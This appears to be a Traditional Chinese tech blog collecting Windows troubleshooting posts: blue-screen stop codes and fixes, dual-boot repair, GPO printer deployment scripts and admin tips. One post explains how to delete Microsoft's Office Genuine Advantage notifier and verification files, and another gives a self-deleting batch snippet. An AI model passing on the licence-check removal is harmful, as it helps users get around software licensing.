(2)使用”chkdsk /r”命令檢查所有磁碟分區.
(3)用Memtest86等記憶體測試軟體檢查記憶體.
(4)檢查硬體是否正確安裝, 比如:是否牢固、金手指介面是否有污漬.

┌─┐
│ 8│
└─┘0×00000035:NO_MORE_IRP_STACK_LOCATIONS
◆錯誤分析:從字面上理解, 應該時驅動程式或某些軟體出現堆疊問題. 其實這個故障的真正原因應該時驅動程式本身存在問題, 或是記憶體有質量問題.
◇解決方案:請使用前面介紹的一般解決方案中與驅動程式和記憶體相關的方案進行排除.

┌─┐
│ 9│
└─┘0×0000003F:NO_MORE_SYSTEM_PTES
◆錯誤分析:一個與系統記憶體管理相關的錯誤, 比如:由於執行了大量的輸入/輸出操作, 造成記憶體管理出現問題: 有缺陷的驅動程式不正確地使用記憶體資源; 某個應用程式(比如:備份軟體)被分配了大量的核心記憶體等.
◇解決方案:反安裝所有最新安裝的軟體(特別是哪些增強磁碟性能的應用程式和殺毒軟體)和驅動程式.

┌─┐
│10│
└─┘0×00000044:MULTIPLE_IRP_COMPLIETE_REQUESTS
◆錯誤分析:通常是由硬體驅動程式引起的.
◇解決方案:反安裝最近安裝的驅動程式. 這個故障很少出現, 目前已經知道的是, 在使用http://www.in- system.com/這家公司的某些軟體時會出現, 其中的罪魁就是Falstaff.sys檔案.(作者難道不怕吃官司嘛, 把公司網址公佈)

┌─┐
│11│
└─┘0×00000050:PAGE_FAULT_IN_NONPAGED+AREA
◆錯誤分析:有問題的記憶體(包括屋裡記憶體、L2 CACHE、顯示卡記憶體)、不相容的軟體(主要是遠程控制和殺毒軟體)、損壞的NTFS卷以及有問題的硬體(比如:PCI插卡本身已損壞)等都會引發這個錯誤.
◇解決方案:請使用前面介紹的一般解決方案中與記憶體、軟體、硬體、硬盤等相關的方案進行懦?

┌─┐
│12│
└─┘0×00000051:REGISTRY_ERROR
◆錯誤分析:這個停止碼說明註冊表或系統設定管理器出現錯誤, 由於硬盤本身有物理損壞或檔案系統存在問題, 從而造成在讀取註冊檔案時出現輸入/輸出錯誤.
◇解決方案:使用”chkdsk /r”檢查並修復磁碟錯誤.

┌─┐
│13│
└─┘0×00000058:FTDISK_INTERNAL_ERROR
◆錯誤分析:說明在容錯集的主驅動發生錯誤.
◇解決方案:首先嘗試重新啟動電腦看是否能解決問題, 如果不行, 則嘗試”最後一次正確設定”進行解決.

┌─┐
│14│
└─┘0×0000005E:CRITICAL_SERVICE_FAILED
◆錯誤分析:某個非常重要的系統服務啟動識別造成的.
◇解決方案:如果是在安裝了某個新硬體後出新的, 可以先移除該硬體, 並通過網上列表檢查它是否與Windows 2K/XP相容, 接著啟動電腦, 如果”藍底白字畫面”還是出現, 請使用”最後一次正確設定”來啟動Windows, 如果這樣還是失敗, 建議進行修復安裝或是重新安裝.

┌─┐
│15│
└─┘0×0000006F:SESSION3_INITIALIZATION-FAILED
◆錯誤分析:這個錯誤通常出現在Windows啟動時, 一般是由有問題的驅動程式或損壞的系統檔案引起的.
◇解決方案:建議使用Windows安裝光碟對系統進行修復安裝.

┌─┐
│16│
└─┘0×00000076:PROCESS_HAS_LOCKED_PAGES
◆錯誤分析:通常是因為某個驅動程式在完成了一次輸入/輸出操作後, 沒有正確釋放所佔有的記憶體
◇解決方案:
第一步:點選開始–>執行:regedt32, 找到[HKLMSYSTEMCurrentcontrol setcontrolsession managermem ory management], 在右側新建雙字節值”TrackLockedPages”, 值為1. 這樣Windows便會在錯誤再次出現時跟蹤到是哪個驅動程式的問題.
第二步:如果再次出現”藍底白字畫面”, 那麼錯誤資訊會變成:
STOP:0×0000000CB(0xY,0xY,0xY,0xY)DRIVER_LEFT_LOCKED_PAGES_IN_PROCESS
其中第四個”0xY”會顯示為問題驅動程式的名字, 接著對其進行更新或刪除.
第三步:進入註冊表, 刪除新增的”TrackLockedPages”.

┌─┐
│17│
└─┘0×00000077:KERNEL_STACK_INPAGE_ERROR
◆錯誤分析:說明需要使用的核心數據沒有在虛擬記憶體或物理記憶體中找到. 這個錯誤常常於是著磁碟有問題, 相應數據損壞或受到病毒侵蝕.
◇解決方案:使用殺毒軟體掃瞄系統; 使用”chkdsk /r”命令檢查並修復磁碟錯誤, 如不行則使用磁碟廠商提供的工具檢查修復.

┌─┐
│18│
└─┘0×0000007A:KERNEL_DATA_INPAGE_ERROR
◆錯誤分析:這個錯誤往往是虛擬記憶體中的核心數據無法讀入記憶體造成的. 原因可能是虛擬記憶體頁面檔案中存在壞簇、病毒、磁碟控制器出錯、記憶體有問題.
◇解決方案:首先用升級為最新病毒庫殺毒軟體查殺病毒, 如果促無資訊中還有0xC000009C或0xC000016A代碼, 那麼表示是壞簇造成的, 並且系統的磁碟檢測工具無法自動修復, 這時要進入”故障恢復控制台”, 用”chkdsk /r”命令進行手動修復.

┌─┐
│19│
└─┘0×0000007B:INACESSIBLE_BOOT_DEVICE
◆錯誤分析:Windows在啟動過程中無法訪問系統分區或啟動卷. 一般發生在更換主板後第一次啟動時, 主要是因為新主板和舊主板的IDE控制器使用了不同芯片組造成的. 有時也可能是病毒或硬盤損傷所引起的.
◇解決方案:一般只要用安裝光碟啟動電腦, 然後執行修復安裝即可解決問題. 對於病毒則可使用DOS版的殺毒軟體進行查殺(主戰有kv2005DOS版下載). 如果是硬盤本身存在問題, 請將其安裝到其他電腦中, 然後使用”chkdsk /r”來檢查並修復磁碟錯誤.

┌─┐
│20│
└─┘0×0000007E:SYSTEM_THREAD_EXCEPTION_NOT_HANDLED
◆錯誤分析:系統進程產生錯誤, 但Windows錯誤處理器無法捕獲. 其產生原因很多, 包括:硬體相容性、有問題的驅動程式或系統服務、或者是某些軟體.
◇解決方案:請使用”事件查看器”來獲取更多的資訊, 從中發現錯誤根源.(發現好像不是解決哦, 看來這裡大家要自力更生了!)

┌─┐
│21│
└─┘0×0000007F:UNEXPECTED_KERNEL_MOED_TRAP
◆錯誤分析:一般是由於有問題的硬體(比如:記憶體)或某些軟體引起的. 有時超頻也會產生這個錯誤.
◇解決方案:用檢測軟體(比如:Memtest86)檢查記憶體, 如果進行了超頻, 請取消超頻. 將PCI硬體插卡從主板插槽拔下來, 或更換插槽. 另外, 有些主板(比如:nF orce2主板)在進行超頻後, 南橋芯片過熱也會導致”藍底白字畫面”, 此時為該芯片單獨增加散熱片往往可以有效解決問題.

┌─┐
│22│
└─┘0×00000080:NMI_HARDWARE_FAILURE
◆錯誤分析:通常是有硬體引起的.(似乎”藍底白字畫面”與硬體錯誤有不解之緣)
◇解決方案:如果最近安裝了新硬體, 請將其移除, 然後試試更換插槽和安裝最新的驅動程式, 如果升級了驅動程式, 請恢復後原來的版本; 檢查記憶體金手指介面是否有污染和損壞; 掃瞄病毒; 執行”chkdsk /r”檢查並修復磁碟錯誤; 檢查所有硬體插卡已經插牢. 如果以上嘗試都無效果, 就得找專業的電腦維修公司請求幫助了.

┌─┐
│23│
└─┘0×0000008E:KERNEL_MODE_EXCEPTION_NOT_HANDLED
◆錯誤分析:核心級應用程式產生了錯誤, 但Windows錯誤處理器沒有捕獲. 通常是硬體相容性錯誤.
◇解決方案:升級驅動程式或升級BIOS.

┌─┐
│24│
└─┘0×0000009C:MACHINE_CHECK_EXCEPTION
◆錯誤分析:通常是硬體引起的. 一般是因為超頻或是硬體存在問題(記憶體、CPU、總線、電源).
◇解決方案:如果進行了超頻, 請降會CPU原來頻率, 檢查硬體.

┌─┐
│25│
└─┘0×0000009F:DRIVER_POWER_STATE_FAILURE
◆錯誤分析:往往與電源有關係, 常常發生在與電源相關的操作, 比如:關機、待機或休睡.
◇解決方案:重新安裝系統, 如果不能解決, 請更換電源.

┌─┐
│26│
└─┘0×000000A5:ACPI_BIOS_ERROR
◆錯誤分析:通常是因為主板BIOS不能全面支持ACPI規範.
◇解決方案:如果沒有相應BIOS升級, 那麼可在安裝Windows 2K/XP時, 當出現”press F6 if you need to install a third-party SCSI or RAID driver”提示時, 按下F7鍵, 這樣Windows便會自動禁止安裝ACPI HAL, 而安裝 Standard PC HAL.

┌─┐
│27│
└─┘0×000000B4:VIDEO_DRIVER_INIT_FAILURE
◆錯誤分析:這個停止資訊表示Windows因為不能啟動顯卡驅動, 從而無法進入圖形界面. 通常是顯卡的問題, 或者是存在與顯卡的硬體衝突(比如:與並行或串行端口衝突).
◇解決方案:進入安全模式查看問題是否解決, 如果可以, 請升級最新的顯卡驅動程式, 如果還不行, 則很可能是顯卡與並行端口存在衝突, 需要在安全模式按下WIN+break組合鍵打開”系統屬性”, 在硬體–>設備管理器中找到並雙擊連接打印的LPT1端口的項, 在”資源”選項卡中取消”使用自動設定”的構選, 然後將”輸入/輸出範圍”的”03BC”改為”0378”.

┌─┐
│28│
└─┘0×000000BE:ATTEMPTED_WRITE_TO_READONLY_MEMORY
◆錯誤分析:某個驅動程式試圖向只讀記憶體寫入數據造成的. 通常是在安裝了新的驅動程式, 系統服務或升級了設備的固件程式後.
◇解決方案:如果在錯誤資訊中包含有驅動程式或者服務檔案名稱, 請根據這個資訊將新安裝的驅動程式或軟體反安裝或禁用.

┌─┐
│29│
└─┘0×000000C2:BAD_POOL_CALLER
◆錯誤分析:一個核心層的進程或驅動程式錯誤地試圖進入記憶體操作. 通常是驅動程式或存在BUG的軟體造成的.
◇解決方案:請參考前面介紹的一般解決方案相關項目進行排除.

┌─┐
│30│
└─┘0×000000CE:DRIVER_UNLOADED_WITHOUT_CANCELLING_PENDING_OPERATIONS
◆錯誤分析:通常是由有問題的驅動程式或系統服務造成的.
◇解決方案:請參考前面介紹的一般解決方案相關項目進行排除.

┌─┐
│31│
└─┘0×000000D1:DRIVER_IRQL_NOT_LESS_OR_EQUAL
◆錯誤分析:通常是由有問題的驅動程式引起的(比如羅技鼠標的Logitech MouseWare 9.10和9.24版驅動程式會引發這個故障). 同時,有缺陷的記憶體、損壞的虛擬記憶體檔案、某些軟體(比如多媒體軟體、殺毒軟體、備份軟體、DVD播放軟體)等也會導致這個錯誤.
◇解決方案:檢查最新安裝或升級的驅動程式(如果”藍底白字畫面”中出現”acpi.sys”等類似檔案名, 可以非常肯定時驅動程式問題)和軟體; 測試記憶體是否存在問題; 進入”故障恢復控制台”, 轉到虛擬記憶體頁面檔案Pagefile.sys所在分區, 執行”del pagefile.sys”命令, 將頁面檔案刪除; 然後在頁面檔案所在分區執行”chkdsk /r”命令;進入Windows後重新設置虛擬記憶體.
如果在上網時遇到這個”藍底白字畫面”, 而你恰恰又在進行大量的數據下載和上傳(比如:網絡遊戲、BT下載), 那麼應該是網卡驅動的問題, 需要升級其驅動程式.

┌─┐
│32│
└─┘0×000000EA:THREAD_STUCK_IN_DEVICE_DRIVER
◆錯誤分析:通常是由顯卡或顯卡驅動程式引發的.
◇解決方案:先升級最新的顯卡驅動, 如果不行, 則需要更換顯卡測試故障是否依然發生.

┌─┐
│33│
└─┘0×000000ED:UNMOUNTABLE_BOOT_VOLUME
◆錯誤分析:一般是由於磁碟存在錯誤導致的, 有時也建議檢查硬盤連線是否接觸不良, 或是沒有使用合乎該硬盤傳輸規格的連接線, 例如ATA-100仍使用ATA-33的連接線, 對低速硬盤無所謂, 但告訴硬盤(支持ATA-66以上)的要求較嚴格, 規格不對的連線有時也會引起這類沒辦法開機的故障. 如果在修復後, 還是經常出現這個錯誤, 很可能是硬盤損壞的前兆.
◇解決方案:一般情況下, 重新啟動會解決問題, 不管怎麼樣都建議執行”chkdsk /r”命令來檢查修復硬盤.

┌─┐
│34│
└─┘0×000000F2:HARDWARE)INTERRUPT_STORM
◆錯誤分析:核心層檢查到系統出現中斷風暴, 比如:某個設備在完成操作後沒有釋放所佔用的中斷. 通常這是由缺陷的驅動程式造成的.
◇解決方案:升級或反安裝最新安裝的硬體驅動程式.

┌─┐
│35│
└─┘0×00000135:UNABLE_TO_LOCATE_DLL
◆錯誤分析:通常表示某個檔案丟失或已經損壞, 或者是註冊表出現錯誤.
◇解決方案:如果是檔案丟失或損壞, 在”藍底白字畫面”資訊中通常會顯示相應的檔案名, 你可以通過網絡或是其他電腦找到相應的檔案, 並將其複製到系統檔案夾下的SYSTEM32子檔案夾中. 如果沒有顯示檔案名, 那就很有可能是註冊表損壞, 請利用系統還原或是以前的註冊表備份進行恢復.

┌─┐
│36│
└─┘0×0000021A:STATUS_SYSTEM_PROCESS_TERMINATED
◆錯誤分析:使用者模式子系統, 例如Winlogon或客服服務執行時子系統(CSRSS)已損壞, 所以無法再保證安全性, 導致系統無法啟動. 有時, 當系統管理員錯誤地修改了使用者帳號權限, 導致其無法訪問系統檔案和檔案夾.
◇解決方案:使用”最後一次正確的設定”, 如果無效, 可使用安裝光碟進行修復安裝.

┌─┐
│37│
└─┘STOP 0xC0000221 or STATUS_IMAGE_CHECKSUM_MISMATCH
◆錯誤分析:通常是由於驅動程式或系統DLL檔案損壞造成的. 一般情況下, 在”藍底白字畫面”中會出現檔案名稱.
◇解決方案:
(1)使用Windows安裝光碟進行修復安裝;
(2)如果還能進入安全模式, 可以”開始–>執行”: sfc /scannow
(3)還可以採用提取檔案的方法來解決, 進入”故障恢復控制台”, 使用copy或expand命令從光碟中複製或解壓受損的檔案. 不過, “藍底白字畫面”一般都是驅動程式檔案的問題, 所以expand命令會用的都一些, 比如:”藍底白字畫面”中提示tdi.sys檔案, 因為驅動檔案一般在i386driver壓縮包裡, 所以使用: expand %CDROM:i386driver.cab f:tdi.sys c:winntsystemdrivers.(xp為expand %CDROM:i386driver.cab f:tdi.sys c:windownssystemdrivers)

┌─┐
│38│
└─┘如果啟動時出現這些”藍底白字畫面”停止碼
如果在Windows啟動時出現”藍底白字畫面”, 並出現附表一中的錯誤資訊, 那麼多半時硬體出現了問題, 請用硬體廠商提供的診斷工具來判斷硬體是否存在問題, 並到其網站查看是否有最新的BIOS或固件更新程式. 如果硬體沒有問題, 重新安裝Windows 2K/XP, 若相同問題還是出現, 就只能求助專業的技術支持了.
如果遇到的時附表二中的錯誤資訊, 也只有重新安裝Windows了, 如果不能解決問題, 建議求救專業的技術支持.

附表一:
停止碼 (STOP CODE) 錯誤名稱
0×31 PHASEO_INITALIZATION_FAILED
0×5C HAL_INITIALITAION_FAILED
0×5D HEAP_INITIALITAION_FAILED
0×5E OBJECT_INITIALITAION_FAILED
0×5F SECURITY_INITIALITAION_FAILED
0×60 PROCESS_INITIALITAION_FAILED
0×32 PHASE1_INITALIZATION_FAILED
0×61 HAL1_INITALIZATION_FAILED
0×62 OBJECT1_INITALIZATION_FAILED
0×63 SECURITY1_INITALIZATION_FAILED
0×64 SYMBOLIC_INITALIZATION_FAILED
0×65 MEMORY1_INITALIZATION_FAILED
0×66 CACHE_INITALIZATION_FAILED
0×67 CONFIG_INITALIZATION_FAILED
0×68 FILE_INITALIZATION_FAILED
0×69 IO1_INITALIZATION_FAILED
0×6A LPC_INITALIZATION_FAILED
0×6B PROCESS1_INITALIZATION_FAILED
0×6C REFMON_INITALIZATION_FAILED
0×6D SESSION1_INITALIZATION_FAILED
0×6E SESSION2_INITALIZATION_FAILED
0×6F SESSION3_INITALIZATION_FAILED
0×70 SESSION4_INITALIZATION_FAILED
0×71 SESSION5_INITALIZATION_FAILED
出現”藍底白字畫面”後的九個一般解決方案

Windows 2K/XP”藍底白字畫面”資訊非常多, 無法在一篇文章中全面講解, 但他們產生的原因往往集中在不相容的硬體和驅動程式、有問題的軟體、病毒等, 因此首先為大家提供了一些一般的解決方案, 在遇到”藍底白字畫面”錯誤時, 應先對照這些方案進行排除

1.重新啟動
有時只是某個程式或驅動程式一時犯錯, 重新啟動後他們會改過自新.(注意:此時參見7.查詢停止碼)

2.新硬體
首先, 應該檢查新硬體是否插牢, 這個被許多人忽視的問題往往會引發許多莫名其妙的故障. 如果確認沒有問題, 將其拔下, 然後換個插槽試試, 並安裝最新的驅動程式. 同時還應對照微軟網站的硬體相容類別檢查一下硬體是否與操作系統相容. 如果你的硬體沒有在表中, 那麼就得到硬體廠商網站進行查詢, 或者撥打他們的咨詢電話.

最新的 Windows XP 硬體相容性清單:
http://support.microsoft.com/default…b;zh-tw;314062

最新的 Windows 2000/Windows NT 硬體相容清單:
http://support.microsoft.com/default…b;zh-tw;131303

3.新驅動和新服務
如果剛安裝完某個硬體的新驅動, 或安裝了某個軟體, 而它又在系統服務中新增了相應項目(比如:殺毒軟體、CPU降溫軟體、防火牆軟體等), 在重新啟動或使用中出現了”藍底白字畫面”故障, 請到安全模式來反安裝或禁用它們.

4.檢查病毒
比如衝擊波和振蕩波等病毒有時會導致Windows”藍底白字畫面”死機, 因此查殺病毒必不可少. 同時一些木馬間諜軟體也會引發”藍底白字畫面”, 所以最好再用相關工具進行掃瞄檢查.

5.檢查BIOS和硬體相容性
對於新裝的電腦經常出現”藍底白字畫面”問題, 應該檢查並升級BIOS到最新版本, 同時關閉其中的記憶體相關項, 比如:CACHE和映射. 另外, 還應該對照微軟的硬體相容列表檢查自己的硬體. 還有就是, 如果主板BIOS無法支持大容量硬盤也會導致”藍底白字畫面”, 需要對其進行升級.
┌────────────────────────────┐
│小提示: │
│ BIOS的CACHE和映射項 │
│ Video BIOS Shadowing (VGA CARD BIOS映射) │
│ Shadowing address ranges(映射地址列) │
│ System BIOS Cacheable(系統BIOS緩衝) │
│ Video BIOS Cacheable(視頻BIOS緩衝) │
│ Video RAM Cacheable(視頻記憶體緩衝) │
└────────────────────────────┘

6.檢查系統日誌
在開始–>選單中輸入:EventVwr.msc, “ENTER”出現”事件查看器”, 注意檢查其中的”系統日誌”和”應用程式日誌”中表明”錯誤”的項.

7.查詢停止碼 (STOP CODE)
把”藍底白字畫面”中密密麻麻的文字記下來, 接著到其他電腦中上網, 進入微軟幫助與支持網站 : http://support.microsoft.com/ , 在左上角的”搜尋字串”中輸入停止碼, 如果搜尋結果沒有適合資訊, 可以選擇”英文知識庫”在搜尋一遍. 一般情況下, 會在這裡找到有用的解決案例. 另外, 在baidu、Google等搜尋引擎中使用”藍底白字畫面”的停止碼或者後面的說明文字為關鍵詞搜尋, 往往也會有以外的收穫.

8.最後一次正確設定
一般情況下, “藍底白字畫面”都出現於更新了硬體驅動或新加硬體並安裝其驅動後, 這時Windows 2K/XP提供的”最後一次正確設定”就是解決”藍底白字畫面”的快捷方式. 重新啟動系統, 在出現啟動選單時按下F8鍵就會出現高級啟動選項選單, 接著選擇”最後一次正確設定”.

9.安裝最新的系統更新和Service Pack
有些”藍底白字畫面”是Windows本身存在缺陷造成的, 應此可通過安裝最新的系統更新和Service Pack來解決.

Print Problem

2010-04-05T13:44:00.000-07:00

http://www.wretch.cc/blog/ronan863/12144833

Windows 7 Start Orb Changer 清鬆更換 Winows 7 開始鈕圖示

2010-04-03T08:11:00.000-07:00

出處
http://blog.joaoko.net/archives/2637

軟體網頁：請按我
軟體版本：v3
軟體語言：英文
軟體大小：957.4 KB
軟體下載：請按我
適用系統：Windows 7 32/64 位元

UltraRename28b-更名軟體

2010-03-19T07:14:00.000-07:00

https://docs.google.com/uc?id=0B8ieUSV7eDksZjE4OGIzY2UtZGFhZC00MzY0LWE4NDAtNzZjNmIxYjAyZDY5&export=download&hl=zh_TW

疑難排解：我的 [傳送] 按鈕不見了

2010-03-16T07:37:00.000-07:00

http://office.microsoft.com/zh-tw/outlook/HA011118041028.aspx

當您在 Outlook 開啟新郵件，您可能會發現工具列上的 [傳送] 按鈕不見了。

要使用 [傳送] 按鈕，您必須在 Outlook 設定檔中設定電子郵件帳號。當您安裝 Outlook 時可能未選擇新增電子郵件帳號或者取消「新增帳號精靈」。

新增電子郵件帳號之後，就可以使用 [傳送] 按鈕。

簡單自製救援開機碟

2010-03-15T15:06:00.000-07:00

http://wish.app01.com/archives/tag/ghost

EasyBcd修復Vista和XP雙系統問題

2010-03-15T11:25:00.000-07:00

出處http://news.skycn.com/article/23644.html

隨著Windows Vista的日益普及，安裝Windows XP和Windows Vista雙系統的用戶越來越多。由於Windows Vista使用了和以往完全不同的引導方式，很多用戶無法靈活地設置和修復Windows XP/Vista的引導功能表，不需要使用晦澀難懂的Windows Vista的BCD命令行參數，只需要使用EasyBcd軟體可以輕鬆搞定常見 Windows XP/Vista引導問題。

　　首先下載EasyBcd軟體,按照提示在Windows XP或Windows Vista系統下進行安裝即可，如果在 Windows XP作業系統下EasyBcd軟體，則需要提前安裝.Net Framework2.0，否則軟體不能正常運行。

　　我們可以利用EasyBcd輕鬆解決Windows XP/Vista雙系統中的引導故障，主要有以下三種典型應用：

　　點擊下載EasyBcd：http://www.skycn.com/soft/36659.html

　　1．重裝導致引導記錄破壞

　　電腦中安裝Windows XP/Vista雙系統，後來對Windows XP進行了修復安裝，Windows XP能夠正常運行，但是啟動功能表中的Windows Vista引導記錄被破壞，不能進入Windows Vista。此類故障是典型的Windows XP/Vista雙啟動故障，可以通過EasyBcd軟體進行修復，運行軟體後，在主介面單擊"Manage Bootloader"按鈕，接著在右側的"Bootloader Installation Options"（引導記錄安裝選項）下選擇"Reinstall the Vista Bootloader"（重新安裝Windows Vista引導記錄），最後單擊"Write MBR"按鈕寫入主引導記錄即可（如圖1）。重新啟動後修復Windows Vista引導記錄成功。

　　2．添加Windows引導專案

　　Windows XP/Vista雙系統啟動功能表中，某一個啟動功能表丟失，我們假設Windows XP和Windows Vista的雙系統丟失了Windows XP的引導，可以嘗試使用EasyBcd來添加。運行EasyBcd程式後，單擊"Add/Remove Entries"按鈕，在右側首先選擇Windows XP的引導分區（注意不一定是系統分區，可能是其他分區），設置的Name為啟動功能表顯示的名字，設置Type為Windows NT/2K/XP/2003（如圖2），單擊"Add Entry"按鈕後，在上方單擊"Save"按鈕即可，重啟後可以順利進入Windows XP系統。

　　3．刪除Windows Vista引導記錄

　　安裝Windows Vista雙系統後，發現Windows Vista的相容性不佳，運行速度也偏慢，可以通過EasyBcd在雙系統中刪除Windows Vista引導，在程式的介面單擊"Manage Bootloader"按鈕，接著在右側的"Bootloader Install Options"下選擇"Uninstall the Vista Bootloader"（卸載Vista引導記錄），接著單擊"Write MBR"按鈕即可（如圖3）。

　　重新啟動後，Windows Vista引導功能表就消失了，直接就進入了Windows XP系統。

　　總結：

　　1．Windows XP/Vista出現引導雙系統出現引導故障時（某一種引導項丟失或不能進入某一個作業系統），初級用戶不要使用晦澀難懂的Windows Vista的BCD命令行參數，可以嘗試此軟體進行修復。

　　2．EasyBcd軟體對處理XP/Vista雙系統引導功能表的功能很強大，文中只介紹三種典型應用，實際上，軟體還用改變系統的引導順序和啟動時間等多種功能，處理XP/Vista雙系統時，用戶可以考慮使用此軟體。

　　3．文中以英文版本進行介紹，英文基礎不好的用戶可以從網上下載漢化版。

[教學] mental ray 分佈式算圖設定教學

2010-03-12T19:29:00.000-08:00

http://blog.yam.com/jcdesign/article/12434839

office盜版受害者

2010-03-11T08:07:00.001-08:00

方法一：
首先到"C:\Windows\SoftwareDistribution\Download"裡面找"OGANotifier.cab"，如果有的話請把它解壓縮。
解壓縮完成後，你會看到有個OGANotifier.msi，請按一下[右鍵]->[解除安裝]。移除完成。

方法二：
請到"C:\WINDOWS\System32"，64位元的Windows請到"C:\WINDOWS\SysWOW64"，把"OGAVerify.exe"與"OGAAddin.dll"移除掉就可以了。

使用GPO規則幫使用者自動安裝印表機

2010-03-07T03:25:00.000-08:00

出處
http://blog.infinity.idv.tw/index.php/2009/12/23/%E4%BD%BF%E7%94%A8gpo%E8%A6%8F%E5%89%87%E5%B9%AB%E4%BD%BF%E7%94%A8%E8%80%85%E8%87%AA%E5%8B%95%E5%AE%89%E8%A3%9D%E5%8D%B0%E8%A1%A8%E6%A9%9F/

看了這篇在 AD 環境中自動新增移除印表機文章，讓使用者可以在登入網域時自動新增印表機，非常實用！

大概的指令：

新增網路印表機：
rundll32 printui.dll,PrintUIEntry /in /q /n \\(伺服器名稱)\(印表機分享名稱)
將網路印表機設定為「預設印表機」：
rundll32 printui.dll,PrintUIEntry /y /q /n \\(伺服器名稱)\(印表機分享名稱)
刪除網路印表機：
rundll32 printui.dll,PrintUIEntry /dn /n \\(伺服器名稱)\(印表機分享名稱)

開啟群組原則管理MMC，啥?!還沒安裝這個好用的工具?! 請到這邊下載安裝 http://www.microsoft.com/downloads/details.aspx?FamilyID=0a6d4c24-8cbd-4b35-9272-dd3cbfc81887&displaylang=zh-tw ，直接安裝在XP下即可管理DC的GPO，安裝完後在程式集 => 系統管理工具底下就會出現群組原則管理。

1.建立新的GPO規則自動新增印表機

2.對該GPO關閉電腦組態

3.開始設定自動新增印表機 GPO

4.使用者 => 指令碼 => 登入 => 滑鼠右鍵選內容

5.選顯示檔案

6.建立 ModifyPrinter.bat 批次檔，並編輯輸入新增印表機的指令後存檔

7.新增剛剛建立好的批次檔，這樣使用者就可以在登入網域時，背景自動安裝對應印表機。

若不想每次使用者都重覆新增印表機的動作，可在ModifyPrinter.bat 內做判斷：

請先在24h開機的機器上建立分享資料夾，權限要設定好讓使用者能寫入(通常開authenticated users權限即可)，在此目錄下建立個空白 *.txt 檔案記錄使用者或電腦明稱。

===============================================================
@echo off
if not exist \\filesrv-vm\gpowork\InstallPrinter-test.txt goto End <==判斷目錄與檔案是否存在，若不存在就跳離批次檔

@type \\filesrv-vm\gpowork\InstallPrinter-test.txt |find/I "[%COMPUTERNAME%][%USERNAME%]" > nul 2>&1 <==查詢 txt 檔內容是否有對應的電腦名稱與使用者名稱，若有則不再執行新增印表機動作，若沒有則開始新增印表機的動作
if %errorlevel% == 0 goto End

rundll32 printui.dll,PrintUIEntry /in /q /n \\prtsrv-vm\HP2015
rundll32 printui.dll,PrintUIEntry /in /q /n \\prtsrv-vm\HP2015PS
rundll32 printui.dll,PrintUIEntry /in /q /n \\prtsrv-vm\RICOH1045
rundll32 printui.dll,PrintUIEntry /in /q /n \\prtsrv-vm\RICOH1045紙夾四
rundll32 printui.dll,PrintUIEntry /in /q /n \\prtsrv-vm\支票
rundll32 printui.dll,PrintUIEntry /in /q /n \\prtsrv-vm\派車單
rundll32 printui.dll,PrintUIEntry /in /q /n \\prtsrv-vm\帳冊
rundll32 printui.dll,PrintUIEntry /in /q /n \\prtsrv-vm\報單倉單2
rundll32 printui.dll,PrintUIEntry /in /q /n \\prtsrv-vm\報單倉單3
rundll32 printui.dll,PrintUIEntry /in /q /n \\prtsrv-vm\發票
rundll32 printui.dll,PrintUIEntry /in /q /n \\prtsrv-vm\傳票

echo [%COMPUTERNAME%][%USERNAME%] >> \\filesrv-vm\gpowork\InstallPrinter-test.txt <==新增完印表機則將電腦名稱與使用者名稱寫入txt檔案內

exit
:End
==================================================================

txt檔案成功寫入後大概會是長這樣：

========================================

[ROGER-AMD][roger]
[ROGER-DELPHI-VM][roger]
[FILESRV-VM][administrator]
[PC005][gina]
[PC013][kevin]
[PC008][kevin]
[PC009][kate]
[PC010][rich]
[PC016][op]
[PC007][david]
[PC004][eric]

=======================================

這樣不同的使用者在相同的電腦上也可以確認使用者能夠新增到印表機。

刪除自己

2010-03-06T14:39:00.000-08:00

del %0 刪除自己

ping -n 20 127.1>nul 延遲20秒

User Profile Service 服務無法登入.無法載入使用者設定檔

2010-03-06T14:12:00.001-08:00

User Profile Service服務無法登入.
無法載入使用者設定檔.

在google搜尋下,找到了以下的解決方式:

用下面的動作應該可以解決你的問題

1.進入安全模式（開機時按鍵盤上的F8）
2.點選左下角開始->所有程式->附屬應用程式->在命令提示字元上點選右鍵選擇以系統管理員身分執行
3.在黑色視窗輸入net user Administrator /active:yes並按下enter鍵（此動作為將Administrator帳號啟動，若要停用此帳戶時將後面的Yes改為No後即可）
4.執行完上述動作後重新開機進入正常模式，並以Administrator帳號做登入的動作
5.登入後點選左下角開始->輸入regedit並按下enter鍵，會出現登錄編輯程式
6.進入下列機碼HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList 您在左邊的畫面會看到兩個類似的資料夾，應該為為S-1-5-21-xxxxx & S-1-5-21xxxxx.bak（前面都一樣，只有後面有一個會加上.bak）
7.在S-1-5-21-xxxxx上點選右鍵->重新命名，在檔名最後面輸入.old
8.在S-1-5-21-xxxxx.bak上點選右鍵->重新命名，在檔名最後面的.bak刪除，檔名會變成S-1-5-21-xxxxx
9.點選資料夾S-1-5-21-xxxxx在右邊視窗點選RefCount兩下，並將數值修改為0，修改完後點選State兩下，也將數值修改為0 上述動作完成後關閉所有視窗並重新開機，使用原來的帳號登入即可

查SID

2010-03-06T13:22:00.000-08:00

可以使用 PsGetSid 這個工具達成目標

下載解壓後, 至命令提示字元輸入

PsGetSid 可得知目前此電腦的 SID

PsGetSid \\電腦名稱可得知遠端該電腦的 SID

PsGetSid \\* 可得知網域內所有電腦的 SID

下載網址: http://download.sysinternals.com/Files/PsTools.zip

自動安裝印表機

2010-03-05T03:07:00.000-08:00

使用方式: rundll32 printui.dll,PrintUIEntry [options] [@commandfile]
 /a[file] 二進位檔案名稱
 /b[name] 基本印表機名稱
 /c[name] 如果動作發生在遠端電腦，則是電腦的 UNC 名稱
 /dl 刪除本機印表機
 /dn 刪除網路印表機連線
 /dd 刪除印表機驅動程式
 /e 顯示列印喜好設定
 /f[file]  可以是 inf 檔案或輸出檔案
 /ga 增加每台電腦的印表機連線
 /ge 列舉每台電腦的印表機連線
 /gd 刪除每台電腦的印表機連線
 /h[arch] 以下驅動程式結構之一 Alpha | Intel | Mips | PowerPC
 /ia 使用 inf 檔來安裝印表機驅動程式
 /id 用新增印表機驅動程式精靈來新增印表機驅動程式
 /if 使用 inf 檔來安裝印表機
 /ii 啟動新增印表機精靈及 inf 檔來安裝印表機
 /il 使用新增印表機精靈來安裝印表機
 /in 新增網路印表機連線
 /j[provider]  列印提供者名稱
 /k 列印測試頁到指定的印表機。安裝印表機時，不可和指令相結合。
 /l[path]  印表機驅動程式來源路徑
 /m[model]  印表機驅動程式機型名稱
